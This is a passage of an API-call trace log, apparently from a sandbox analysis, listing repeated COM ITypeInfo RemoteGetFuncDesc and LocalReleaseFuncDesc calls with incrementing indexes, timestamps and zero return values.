(in: This=0x2764af38878, index=0x7e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x7f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x80, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x81, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x82, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x83, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x84, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x85, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x86, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x87, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x88, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x89, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.678] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.678] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x8f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x90, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x91, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x92, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x93, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x94, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x95, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x96, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x97, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x98, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x99, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9a, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9b, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9c, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9d, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9e, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0x9f, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa0, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa1, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.679] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.679] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa2, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa3, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa4, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa5, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa6, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa7, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa8, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xa9, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xaa, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xab, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xac, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xad, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xae, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xaf, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb0, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb1, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb2, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb3, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb4, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.680] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.680] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb5, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb6, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb7, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb8, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xb9, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xba, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbb, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbc, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbd, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbe, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xbf, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc0, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc1, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc2, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc3, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc4, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc5, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc6, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.681] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc7, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.681] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc8, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xc9, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xca, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcb, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcc, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcd, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xce, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xcf, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd0, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd1, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd2, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd3, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd4, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd5, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd6, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.682] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd7, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.682] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd8, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xd9, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xda, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdb, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdc, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdd, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] 